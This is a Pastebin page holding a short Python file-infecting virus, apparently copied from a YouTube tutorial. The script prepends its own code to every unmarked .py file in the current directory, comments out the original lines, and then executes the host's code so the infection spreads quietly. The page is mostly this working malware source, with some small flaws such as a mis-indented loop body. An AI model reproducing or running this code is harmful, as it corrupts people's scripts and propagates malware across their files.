Advertisement
rfmonk

blqgi_virus_from_YT.py

Jan 6th, 2014
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.47 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # === INFECTED ===
  3. #^ This is the marker for the beginning of the virus
  4. import os
  5. from sys import argv
  6.  
  7. # Read the tsxt from this file
  8. this_file = open(argv[0])
  9. this_lines = this_file.readlines()
  10. this_file.close()
  11.  
  12. for i in range(len(this_lines)):
  13.     # orig_index is the line where the non-virulent code starts
  14.     if this_lines[i] == "# === ORIGINAL ===\n":
  15.     orig_index = i + 1
  16.     break
  17.  
  18. for fname in os.listdir('.'):
  19.     if fname.find('.py') == len(fname) - len('.py'):
  20.         try:
  21.             script_file = open(fname, 'r+')
  22.             target_lines = script_file.readlines()
  23.             script_file.seek(0)
  24.             try:
  25.                 if target_lines[1] != "# === INFECTED ===\n": # Found infected file
  26.                     script_file.write("".join(this_lines[:orig_index])) # infect it
  27.                     for target_line in target_lines:
  28.                         script_file.write("# %s" % target_line)
  29.                     script_file.close()
  30.             except: # Something went wrong. Reverse the changes
  31.                 script_file.close()
  32.                 script_file = open(fname, 'w')
  33.                 for target_line in target_lines:
  34.                     script_file.write(target_line)
  35.                 script_file.close()
  36.                 os._exit(1)
  37.         except:
  38.             pass
  39.  
  40. # Now execute the non-virulent code
  41. exec("".join(map(lambda x: x[2:], this_lines[orig_index:])))
  42.  
  43. # v This is the marker to indicate the end of the virulent code
  44. # === ORIGINAL ===
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement